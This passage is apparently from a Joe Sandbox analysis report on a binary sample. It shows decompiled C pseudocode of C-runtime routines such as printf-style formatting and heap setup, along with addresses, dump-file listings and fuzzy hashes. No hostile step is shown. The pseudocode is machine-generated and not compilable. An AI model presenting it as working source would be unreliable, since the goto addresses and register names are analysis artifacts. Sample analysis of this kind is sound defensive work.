				_t22 = E00007FF77FF7DA8E9D68(_t53, _t96);
				_t99 = _t98 | 0xffffffff;
				if (_t94 == 0) goto 0xda8e6fe1;
				if ( *((intOrPtr*)(_t94 + (_t99 + 1) * 2)) != r13w) goto 0xda8e6fd5;
				goto 0xda8e6fe4;
				_t55 = _t99 + 1;
				if ( *((intOrPtr*)(0xda901828 + _t55 * 2)) != r13w) goto 0xda8e6fe7;
				r15d = _t22 + 0xc + r13d;
				0xda8e3fe4(_t98, _t96, _t93, _t72);
				if (_t55 != 0) goto 0xda8e703b;
				E00007FF77FF7DA8E3FEC(0, _t58, _t71, 0xda901830);
				E00007FF77FF7DA8E9D68(_t55, _t96);
				return 0;
			}
















                                                                                                                              0x7ff7da8e6ee8
                                                                                                                              0x7ff7da8e6ee8
                                                                                                                              0x7ff7da8e6eeb
                                                                                                                              0x7ff7da8e6eef
                                                                                                                              0x7ff7da8e6ef3
                                                                                                                              0x7ff7da8e6f04
                                                                                                                              0x7ff7da8e6f11
                                                                                                                              0x7ff7da8e6f16
                                                                                                                              0x7ff7da8e6f1e
                                                                                                                              0x7ff7da8e6f25
                                                                                                                              0x7ff7da8e6f2a
                                                                                                                              0x7ff7da8e6f33
                                                                                                                              0x7ff7da8e6f3d
                                                                                                                              0x7ff7da8e6f4b
                                                                                                                              0x7ff7da8e6f53
                                                                                                                              0x7ff7da8e6f56
                                                                                                                              0x7ff7da8e6f5b
                                                                                                                              0x7ff7da8e6f66
                                                                                                                              0x7ff7da8e6f74
                                                                                                                              0x7ff7da8e6f78
                                                                                                                              0x7ff7da8e6f80
                                                                                                                              0x7ff7da8e6f85
                                                                                                                              0x7ff7da8e6f8d
                                                                                                                              0x7ff7da8e6f9b
                                                                                                                              0x7ff7da8e6fa0
                                                                                                                              0x7ff7da8e6fb5
                                                                                                                              0x7ff7da8e6fc4
                                                                                                                              0x7ff7da8e6fc9
                                                                                                                              0x7ff7da8e6fd0
                                                                                                                              0x7ff7da8e6fdd
                                                                                                                              0x7ff7da8e6fdf
                                                                                                                              0x7ff7da8e6fe7
                                                                                                                              0x7ff7da8e6fef
                                                                                                                              0x7ff7da8e6ffd
                                                                                                                              0x7ff7da8e7000
                                                                                                                              0x7ff7da8e700b
                                                                                                                              0x7ff7da8e700f
                                                                                                                              0x7ff7da8e7017
                                                                                                                              0x7ff7da8e703a

                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID: TMP
                                                                                                                              • API String ID: 3215553584-3125297090
                                                                                                                              • Opcode ID: b5b4597b7c80bc31c69463ab0a6847a9373f2e92ff0dbf9e1fc0b4f4a9174bad
                                                                                                                              • Instruction ID: dccbe99af7585d4600868362170303d013f0b5d4d9857afcd4e395866832b479
                                                                                                                              • Opcode Fuzzy Hash: b5b4597b7c80bc31c69463ab0a6847a9373f2e92ff0dbf9e1fc0b4f4a9174bad
                                                                                                                              • Instruction Fuzzy Hash: 2B51B411F0875381FA66BB26590157EE690BFA4BC4FD848B6DD0E477C7EE3EE6218210
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F24F0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8F24F0(long long __rax) {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0xda91d260 = __rax;
				return _t3 & 0xffffff00 | __rax != 0x00000000;
			}




                                                                                                                              0x7ff7da8f24f4
                                                                                                                              0x7ff7da8f24fd
                                                                                                                              0x7ff7da8f250b

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: HeapProcess
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 54951025-0
                                                                                                                              • Opcode ID: a2b3f694270b62c60b501e12e715d3f407241b3ad344c0bceac092333339d66b
                                                                                                                              • Instruction ID: 19acfdd24317bca7258cad8a3a042bc97ed8032bc61d03469ca5198c821eaad7
                                                                                                                              • Opcode Fuzzy Hash: a2b3f694270b62c60b501e12e715d3f407241b3ad344c0bceac092333339d66b
                                                                                                                              • Instruction Fuzzy Hash: B6B09220E0BB07C6FA493B116C82218A3A47F98710FE904BAC84D81321DF2C20F5A720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E2750 Relevance: .3, Instructions: 327COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 56%
                                                                                                                              			E00007FF77FF7DA8E2750(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, long long _a16, long long _a24, long long _a32) {
				void* _v40;
				signed int _v56;
				char _v68;
				char _v70;
				signed int _v72;
				long long _v88;
				void* __rbp;
				void* _t111;
				void* _t112;
				void* _t140;
				char _t147;
				void* _t151;
				unsigned int _t156;
				signed char _t157;
				signed int _t160;
				void* _t177;
				void* _t178;
				void* _t179;
				void* _t185;
				signed long long _t231;
				void* _t247;
				intOrPtr _t258;
				intOrPtr _t261;
				intOrPtr* _t265;
				void* _t270;
				intOrPtr _t276;
				signed int* _t278;
				void* _t282;
				void* _t283;
				void* _t286;
				void* _t293;
				intOrPtr* _t294;

				_t286 = __r8;
				_t280 = __rsi;
				_t277 = __rdi;
				_a16 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_t282 = _t283;
				_t284 = _t283 - 0x50;
				_t231 =  *0xda90d008; // 0xde4e6c2f3c2e
				_v56 = _t231 ^ _t283 - 0x00000050;
				_t247 = __rcx;
				_t147 =  *((char*)(__rcx + 0x39));
				_t6 = _t277 - 0x77; // 0x1
				r13d = _t6;
				_t178 = _t147 - 0x64;
				if (_t178 > 0) goto 0xda8e2805;
				if (_t178 == 0) goto 0xda8e282f;
				_t179 = _t147 - 0x53;
				if (_t179 > 0) goto 0xda8e27cd;
				if (_t179 == 0) goto 0xda8e2876;
				if (_t179 == 0) goto 0xda8e27c0;
				if (_t179 == 0) goto 0xda8e27e9;
				if (_t179 == 0) goto 0xda8e27c0;
				_t151 = _t147 - 0x3d - r13d;
				if (_t179 == 0) goto 0xda8e27c0;
				if (_t151 != r13d) goto 0xda8e289d;
				_t111 = E00007FF77FF7DA8E30B4(0x78, __rcx, __rcx, __rsi, _t282);
				goto 0xda8e2899;
				if (_t151 == 0x58) goto 0xda8e288e;
				if (_t151 == 0x5a) goto 0xda8e27f8;
				if (_t151 == 0x61) goto 0xda8e27c0;
				if (_t151 != 0x63) goto 0xda8e289d;
				_t112 = E00007FF77FF7DA8E3570(_t111, _t151 - 0x63, __rcx, __rcx);
				goto 0xda8e2899;
				E00007FF77FF7DA8E2FB8(_t112, __rcx);
				goto 0xda8e2899;
				_t185 = _t151 - 0x6f;
				if (_t185 > 0) goto 0xda8e285f;
				if (_t185 == 0) goto 0xda8e283f;
				if (_t185 == 0) goto 0xda8e27c0;
				if (_t185 == 0) goto 0xda8e27c0;
				if (_t185 == 0) goto 0xda8e27c0;
				if (_t185 == 0) goto 0xda8e282f;
				if (_t151 - 0x65 - r13d - r13d - 2 != 5) goto 0xda8e289d;
				E00007FF77FF7DA8E3708(__rcx, __rcx);
				goto 0xda8e2899;
				 *(__rcx + 0x28) =  *(__rcx + 0x28) | 0x00000010;
				E00007FF77FF7DA8E0D00(0, __rcx, __rcx, __rdi, _t280, _t282);
				goto 0xda8e2899;
				_t156 =  *(__rcx + 0x28);
				if ((r13b & _t156 >> 0x00000005) == 0) goto 0xda8e2853;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x28) = _t156;
				E00007FF77FF7DA8E08F0(0, __rcx, __rcx, _t277, _t280, _t282);
				goto 0xda8e2899;
				if (_t156 == 0x70) goto 0xda8e2880;
				if (_t156 == 0x73) goto 0xda8e2876;
				if (_t156 == 0x75) goto 0xda8e2833;
				if (_t156 != 0x78) goto 0xda8e289d;
				goto 0xda8e2891;
				E00007FF77FF7DA8E37C0(__rcx);
				goto 0xda8e2899;
				 *((intOrPtr*)(__rcx + 0x30)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x34)) = 0xb;
				if (E00007FF77FF7DA8E1110(r13b, __rcx, __rcx, _t277, _t280, _t282) != 0) goto 0xda8e28a4;
				goto 0xda8e2b27;
				if ( *((char*)(__rcx + 0x38)) != 0) goto 0xda8e2b24;
				_t157 =  *(__rcx + 0x28);
				_v72 = 0;
				_v70 = 0;
				if ((r13b & 0) == 0) goto 0xda8e28f1;
				if ((r13b & 0) == 0) goto 0xda8e28d6;
				_v72 = 0x2d;
				goto 0xda8e28ee;
				if ((r13b & _t157) == 0) goto 0xda8e28e1;
				_v72 = 0x2b;
				goto 0xda8e28ee;
				if ((r13b & 0) == 0) goto 0xda8e28f1;
				_v72 = 0x20;
				_t270 = _t293;
				r8b =  *((intOrPtr*)(__rcx + 0x39));
				if (0 != 0) goto 0xda8e290c;
				if ((r13b & 0) == 0) goto 0xda8e290c;
				r9b = r13b;
				goto 0xda8e290f;
				r9b = 0;
				if (r9b != 0) goto 0xda8e2921;
				if (0 == 0) goto 0xda8e293e;
				 *((char*)(_t282 + _t270 - 0x20)) = 0x30;
				if (r8b == 0x58) goto 0xda8e2932;
				if (r8b != 0x41) goto 0xda8e2935;
				dil = 0x58;
				 *((intOrPtr*)(_t282 + _t270 - 0x1f)) = dil;
				_t177 =  *((intOrPtr*)(__rcx + 0x2c)) -  *((intOrPtr*)(__rcx + 0x48));
				if ((_t157 & 0x0000000c) != 0) goto 0xda8e29b0;
				r9d = 0;
				if (_t177 <= 0) goto 0xda8e29b0;
				r8d =  *(__rcx + 0x20);
				_t258 =  *((intOrPtr*)(__rcx + 0x460));
				if ( *((intOrPtr*)(_t258 + 0x10)) !=  *((intOrPtr*)(_t258 + 8))) goto 0xda8e297c;
				if ( *((char*)(_t258 + 0x18)) == 0) goto 0xda8e2972;
				r8d = r8d + 1;
				goto 0xda8e2976;
				r8d = r8d | 0xffffffff;
				 *(__rcx + 0x20) = r8d;
				goto 0xda8e299e;
				 *(__rcx + 0x20) = _t286 + 1;
				 *((intOrPtr*)(_t258 + 0x10)) =  *((intOrPtr*)(_t258 + 0x10)) + _t293;
				 *((char*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))))) = 0x20;
				 *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))) + _t293;
				r8d =  *(__rcx + 0x20);
				if (r8d == 0xffffffff) goto 0xda8e29b0;
				r9d = r9d + r13d;
				if (r9d - _t177 < 0) goto 0xda8e2956;
				_t63 = _t247 + 0x20; // 0x78
				_t278 = _t63;
				r8d = 0;
				_v88 =  *((intOrPtr*)(__rcx + 8));
				_t65 = _t247 + 0x460; // 0x4b8
				_t294 = _t65;
				E00007FF77FF7DA8E39E8(_t286 + 1, 0x78, _t177, __rcx, _t294, _t278, _t280, _t282, _t278);
				if ((r13b & 0) == 0) goto 0xda8e2a39;
				if ((r13b &  *(__rcx + 0x28) >> 0x00000002) != 0) goto 0xda8e2a39;
				r8d = 0;
				if (_t177 <= 0) goto 0xda8e2a39;
				_t261 =  *_t294;
				if ( *((intOrPtr*)(_t261 + 0x10)) !=  *((intOrPtr*)(_t261 + 8))) goto 0xda8e2a12;
				if ( *((char*)(_t261 + 0x18)) == 0) goto 0xda8e2a0b;
				goto 0xda8e2a0e;
				 *_t278 =  *_t278 + 0x00000001 | 0xffffffff;
				goto 0xda8e2a2a;
				 *_t278 =  &(( &_v72)[0]);
				 *((intOrPtr*)(_t261 + 0x10)) =  *((intOrPtr*)(_t261 + 0x10)) + _t293;
				 *((char*)( *((intOrPtr*)( *_t294)))) = 0x30;
				 *((intOrPtr*)( *_t294)) =  *((intOrPtr*)( *_t294)) + _t293;
				if ( *_t278 == 0xffffffff) goto 0xda8e2a39;
				r8d = r8d + r13d;
				if (r8d - _t177 < 0) goto 0xda8e29f4;
				if ( *((char*)(__rcx + 0x4c)) == 0) goto 0xda8e2aab;
				if ( *((intOrPtr*)(__rcx + 0x48)) <= 0) goto 0xda8e2aab;
				r15d = 0;
				r9d =  *( *(__rcx + 0x40)) & 0x0000ffff;
				_v72 = _v72 & 0x00000000;
				r8d = 6;
				_v88 =  *((intOrPtr*)(__rcx + 8));
				if (E00007FF77FF7DA8ED950( *((intOrPtr*)(__rcx + 8)), __rcx,  &_v72,  &_v68, _t282, _t286) != 0) goto 0xda8e2aa6;
				r8d = _v72;
				if (r8d == 0) goto 0xda8e2aa6;
				_v88 =  *((intOrPtr*)(_t247 + 8));
				_t140 = E00007FF77FF7DA8E39E8(_t139, 0x78, _t177, _t247, _t294, _t278, _t280, _t282, _t278);
				r15d = r15d + r13d;
				if (r15d !=  *(_t247 + 0x48)) goto 0xda8e2a4c;
				goto 0xda8e2ac7;
				 *_t278 =  *_t278 | 0xffffffff;
				goto 0xda8e2ac7;
				r8d =  *(_t247 + 0x48);
				_t265 = _t294;
				_v88 =  *((intOrPtr*)(_t247 + 8));
				E00007FF77FF7DA8E39E8(_t140, 0x78, _t177, _t247, _t265, _t278, _t280, _t282, _t278);
				_t160 =  *_t278;
				if (_t160 < 0) goto 0xda8e2b24;
				if ((r13b & 0) == 0) goto 0xda8e2b24;
				r8d = 0;
				if (_t177 <= 0) goto 0xda8e2b24;
				_t276 =  *_t294;
				if ( *((intOrPtr*)(_t276 + 0x10)) !=  *((intOrPtr*)(_t276 + 8))) goto 0xda8e2afd;
				if ( *((char*)(_t276 + 0x18)) == 0) goto 0xda8e2af6;
				goto 0xda8e2af9;
				 *_t278 = _t160 + 0x00000001 | 0xffffffff;
				goto 0xda8e2b15;
				 *_t278 = _t265 + 1;
				 *((intOrPtr*)(_t276 + 0x10)) =  *((intOrPtr*)(_t276 + 0x10)) + _t293;
				 *((char*)( *((intOrPtr*)( *_t294)))) = 0x20;
				 *((intOrPtr*)( *_t294)) =  *((intOrPtr*)( *_t294)) + _t293;
				if ( *_t278 == 0xffffffff) goto 0xda8e2b24;
				r8d = r8d + r13d;
				if (r8d - _t177 < 0) goto 0xda8e2adf;
				return E00007FF77FF7DA8DACF0(r13b,  *_t278, _v56 ^ _t284);
			}



































                                                                                                                              0x7ff7da8e2750
                                                                                                                              0x7ff7da8e2750
                                                                                                                              0x7ff7da8e2750
                                                                                                                              0x7ff7da8e2750
                                                                                                                              0x7ff7da8e2755
                                                                                                                              0x7ff7da8e275a
                                                                                                                              0x7ff7da8e2768
                                                                                                                              0x7ff7da8e276b
                                                                                                                              0x7ff7da8e276f
                                                                                                                              0x7ff7da8e2779
                                                                                                                              0x7ff7da8e2782
                                                                                                                              0x7ff7da8e2785
                                                                                                                              0x7ff7da8e2789
                                                                                                                              0x7ff7da8e2789
                                                                                                                              0x7ff7da8e278d
                                                                                                                              0x7ff7da8e2790
                                                                                                                              0x7ff7da8e2792
                                                                                                                              0x7ff7da8e2798
                                                                                                                              0x7ff7da8e279b
                                                                                                                              0x7ff7da8e279d
                                                                                                                              0x7ff7da8e27a6
                                                                                                                              0x7ff7da8e27ab
                                                                                                                              0x7ff7da8e27b0
                                                                                                                              0x7ff7da8e27b2
                                                                                                                              0x7ff7da8e27b5
                                                                                                                              0x7ff7da8e27ba
                                                                                                                              0x7ff7da8e27c3
                                                                                                                              0x7ff7da8e27c8
                                                                                                                              0x7ff7da8e27d0
                                                                                                                              0x7ff7da8e27d9
                                                                                                                              0x7ff7da8e27de
                                                                                                                              0x7ff7da8e27e3
                                                                                                                              0x7ff7da8e27ee
                                                                                                                              0x7ff7da8e27f3
                                                                                                                              0x7ff7da8e27fb
                                                                                                                              0x7ff7da8e2800
                                                                                                                              0x7ff7da8e2805
                                                                                                                              0x7ff7da8e2808
                                                                                                                              0x7ff7da8e280a
                                                                                                                              0x7ff7da8e280f
                                                                                                                              0x7ff7da8e2814
                                                                                                                              0x7ff7da8e2819
                                                                                                                              0x7ff7da8e281e
                                                                                                                              0x7ff7da8e2823
                                                                                                                              0x7ff7da8e2828
                                                                                                                              0x7ff7da8e282d
                                                                                                                              0x7ff7da8e282f
                                                                                                                              0x7ff7da8e2838
                                                                                                                              0x7ff7da8e283d
                                                                                                                              0x7ff7da8e283f
                                                                                                                              0x7ff7da8e284a
                                                                                                                              0x7ff7da8e284c
                                                                                                                              0x7ff7da8e2850
                                                                                                                              0x7ff7da8e2858
                                                                                                                              0x7ff7da8e285d
                                                                                                                              0x7ff7da8e2862
                                                                                                                              0x7ff7da8e2867
                                                                                                                              0x7ff7da8e286c
                                                                                                                              0x7ff7da8e2870
                                                                                                                              0x7ff7da8e2874
                                                                                                                              0x7ff7da8e2879
                                                                                                                              0x7ff7da8e287e
                                                                                                                              0x7ff7da8e2880
                                                                                                                              0x7ff7da8e2887
                                                                                                                              0x7ff7da8e289b
                                                                                                                              0x7ff7da8e289f
                                                                                                                              0x7ff7da8e28a8
                                                                                                                              0x7ff7da8e28ae
                                                                                                                              0x7ff7da8e28b3
                                                                                                                              0x7ff7da8e28b9
                                                                                                                              0x7ff7da8e28c4
                                                                                                                              0x7ff7da8e28ce
                                                                                                                              0x7ff7da8e28d0
                                                                                                                              0x7ff7da8e28d4
                                                                                                                              0x7ff7da8e28d9
                                                                                                                              0x7ff7da8e28db
                                                                                                                              0x7ff7da8e28df
                                                                                                                              0x7ff7da8e28e8
                                                                                                                              0x7ff7da8e28ea
                                                                                                                              0x7ff7da8e28ee
                                                                                                                              0x7ff7da8e28f1
                                                                                                                              0x7ff7da8e28fb
                                                                                                                              0x7ff7da8e2905
                                                                                                                              0x7ff7da8e2907
                                                                                                                              0x7ff7da8e290a
                                                                                                                              0x7ff7da8e290c
                                                                                                                              0x7ff7da8e291b
                                                                                                                              0x7ff7da8e291f
                                                                                                                              0x7ff7da8e2921
                                                                                                                              0x7ff7da8e292a
                                                                                                                              0x7ff7da8e2930
                                                                                                                              0x7ff7da8e2932
                                                                                                                              0x7ff7da8e2935
                                                                                                                              0x7ff7da8e2943
                                                                                                                              0x7ff7da8e2949
                                                                                                                              0x7ff7da8e294b
                                                                                                                              0x7ff7da8e2950
                                                                                                                              0x7ff7da8e2952
                                                                                                                              0x7ff7da8e2956
                                                                                                                              0x7ff7da8e2965
                                                                                                                              0x7ff7da8e296b
                                                                                                                              0x7ff7da8e296d
                                                                                                                              0x7ff7da8e2970
                                                                                                                              0x7ff7da8e2972
                                                                                                                              0x7ff7da8e2976
                                                                                                                              0x7ff7da8e297a
                                                                                                                              0x7ff7da8e2980
                                                                                                                              0x7ff7da8e2983
                                                                                                                              0x7ff7da8e2991
                                                                                                                              0x7ff7da8e299b
                                                                                                                              0x7ff7da8e299e
                                                                                                                              0x7ff7da8e29a6
                                                                                                                              0x7ff7da8e29a8
                                                                                                                              0x7ff7da8e29ae
                                                                                                                              0x7ff7da8e29b4
                                                                                                                              0x7ff7da8e29b4
                                                                                                                              0x7ff7da8e29b8
                                                                                                                              0x7ff7da8e29bb
                                                                                                                              0x7ff7da8e29c0
                                                                                                                              0x7ff7da8e29c0
                                                                                                                              0x7ff7da8e29d1
                                                                                                                              0x7ff7da8e29e1
                                                                                                                              0x7ff7da8e29e9
                                                                                                                              0x7ff7da8e29eb
                                                                                                                              0x7ff7da8e29f0
                                                                                                                              0x7ff7da8e29f4
                                                                                                                              0x7ff7da8e29ff
                                                                                                                              0x7ff7da8e2a05
                                                                                                                              0x7ff7da8e2a09
                                                                                                                              0x7ff7da8e2a0e
                                                                                                                              0x7ff7da8e2a10
                                                                                                                              0x7ff7da8e2a15
                                                                                                                              0x7ff7da8e2a17
                                                                                                                              0x7ff7da8e2a21
                                                                                                                              0x7ff7da8e2a27
                                                                                                                              0x7ff7da8e2a2f
                                                                                                                              0x7ff7da8e2a31
                                                                                                                              0x7ff7da8e2a37
                                                                                                                              0x7ff7da8e2a3d
                                                                                                                              0x7ff7da8e2a43
                                                                                                                              0x7ff7da8e2a49
                                                                                                                              0x7ff7da8e2a54
                                                                                                                              0x7ff7da8e2a5d
                                                                                                                              0x7ff7da8e2a66
                                                                                                                              0x7ff7da8e2a6c
                                                                                                                              0x7ff7da8e2a78
                                                                                                                              0x7ff7da8e2a7a
                                                                                                                              0x7ff7da8e2a81
                                                                                                                              0x7ff7da8e2a8e
                                                                                                                              0x7ff7da8e2a96
                                                                                                                              0x7ff7da8e2a9b
                                                                                                                              0x7ff7da8e2aa2
                                                                                                                              0x7ff7da8e2aa4
                                                                                                                              0x7ff7da8e2aa6
                                                                                                                              0x7ff7da8e2aa9
                                                                                                                              0x7ff7da8e2ab2
                                                                                                                              0x7ff7da8e2ab6
                                                                                                                              0x7ff7da8e2abd
                                                                                                                              0x7ff7da8e2ac2
                                                                                                                              0x7ff7da8e2ac7
                                                                                                                              0x7ff7da8e2acb
                                                                                                                              0x7ff7da8e2ad6
                                                                                                                              0x7ff7da8e2ad8
                                                                                                                              0x7ff7da8e2add
                                                                                                                              0x7ff7da8e2adf
                                                                                                                              0x7ff7da8e2aea
                                                                                                                              0x7ff7da8e2af0
                                                                                                                              0x7ff7da8e2af4
                                                                                                                              0x7ff7da8e2af9
                                                                                                                              0x7ff7da8e2afb
                                                                                                                              0x7ff7da8e2b00
                                                                                                                              0x7ff7da8e2b02
                                                                                                                              0x7ff7da8e2b0c
                                                                                                                              0x7ff7da8e2b12
                                                                                                                              0x7ff7da8e2b1a
                                                                                                                              0x7ff7da8e2b1c
                                                                                                                              0x7ff7da8e2b22
                                                                                                                              0x7ff7da8e2b50

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 6d8f1067b5d5c3e04637915c4ebd89aac0893348790f1f4dfb457941e20f862b
                                                                                                                              • Instruction ID: b3c5d985f80c705e5029723a518139b511d33b9c0c626c3749107793904fd25a
                                                                                                                              • Opcode Fuzzy Hash: 6d8f1067b5d5c3e04637915c4ebd89aac0893348790f1f4dfb457941e20f862b
                                                                                                                              • Instruction Fuzzy Hash: 71D1F722A08652C5FF2AAE25841063DE3A0FF65B48FD45176CE0D07696EF3EDA71C361
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D9CE0 Relevance: .3, Instructions: 287COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: a778647451e1f32c32080f116e5ee3930617f0b1c68867123a58e5278e899afb
                                                                                                                              • Instruction ID: ca55278051097338406149ba657d3104fc70fb43c10b7e32fc2f8d8579faf01b
                                                                                                                              • Opcode Fuzzy Hash: a778647451e1f32c32080f116e5ee3930617f0b1c68867123a58e5278e899afb
                                                                                                                              • Instruction Fuzzy Hash: 0FC10A721181E04BD689EB29E45A87A73D0F788309FD4443BEF9B67B86C63CE514D721
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E1DC0 Relevance: .2, Instructions: 241COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 59%
                                                                                                                              			E00007FF77FF7DA8E1DC0(signed int __esi, long long __rbx, long long __rcx, long long __rdi, long long __rsi, signed int __rbp, void* __r8, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				long long _v24;
				intOrPtr _t112;
				signed int _t116;
				intOrPtr _t120;
				signed int _t121;
				signed int _t142;
				signed int _t150;
				void* _t172;
				intOrPtr _t173;
				signed char* _t183;
				signed char* _t188;
				long long _t190;
				signed char* _t193;
				intOrPtr* _t198;
				signed int* _t199;
				signed char** _t202;
				signed char** _t204;
				void* _t207;
				intOrPtr _t212;
				signed int _t216;
				void* _t218;
				void* _t221;
				void* _t223;

				_t221 = __r8;
				_t216 = __rbp;
				_t214 = __rsi;
				_t172 = _t218;
				 *((long long*)(_t172 + 8)) = __rbx;
				 *((long long*)(_t172 + 0x10)) = __rbp;
				 *((long long*)(_t172 + 0x18)) = __rsi;
				 *((long long*)(_t172 + 0x20)) = __rdi;
				_t173 =  *((intOrPtr*)(__rcx + 8));
				_t142 = __esi | 0xffffffff;
				_t190 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x460)) != __rbp) goto 0xda8e1dfe;
				 *((char*)(_t173 + 0x30)) = 1;
				 *((intOrPtr*)(_t173 + 0x2c)) = 0x16;
				goto 0xda8e2123;
				_t193 =  *((intOrPtr*)(__rcx + 0x10));
				if (_t193 != 0) goto 0xda8e1e35;
				 *((char*)(_t173 + 0x30)) = 1;
				r9d = 0;
				 *((intOrPtr*)(_t173 + 0x2c)) = 0x16;
				r8d = 0;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = __rbp;
				E00007FF77FF7DA8E9C34( *((intOrPtr*)(__rcx + 8)), __rcx, _t193, _t207, __rsi, __rbp, __r8);
				goto 0xda8e20c9;
				_t112 =  *((intOrPtr*)(_t190 + 0x468)) + 1;
				 *((intOrPtr*)(_t190 + 0x468)) = _t112;
				if (_t112 == 2) goto 0xda8e20c6;
				 *((intOrPtr*)(_t190 + 0x48)) = 0;
				 *(_t190 + 0x24) = bpl;
				r8b =  *_t193;
				goto 0xda8e20a2;
				if ( *(_t190 + 0x20) < 0) goto 0xda8e20b3;
				_t20 = _t221 - 0x20; // -32
				if (_t20 - 0x5a > 0) goto 0xda8e1e88;
				goto 0xda8e1e8b;
				_t116 =  *(0xda9014e0 + (r8b - 0x20 +  &(_t193[1]) * 8) * 2) & 0x000000ff;
				 *(_t190 + 0x24) = _t116;
				if (_t116 - 8 >= 0) goto 0xda8e2110;
				_t150 = _t116;
				if (_t150 == 0) goto 0xda8e1fcb;
				if (_t150 == 0) goto 0xda8e1fb4;
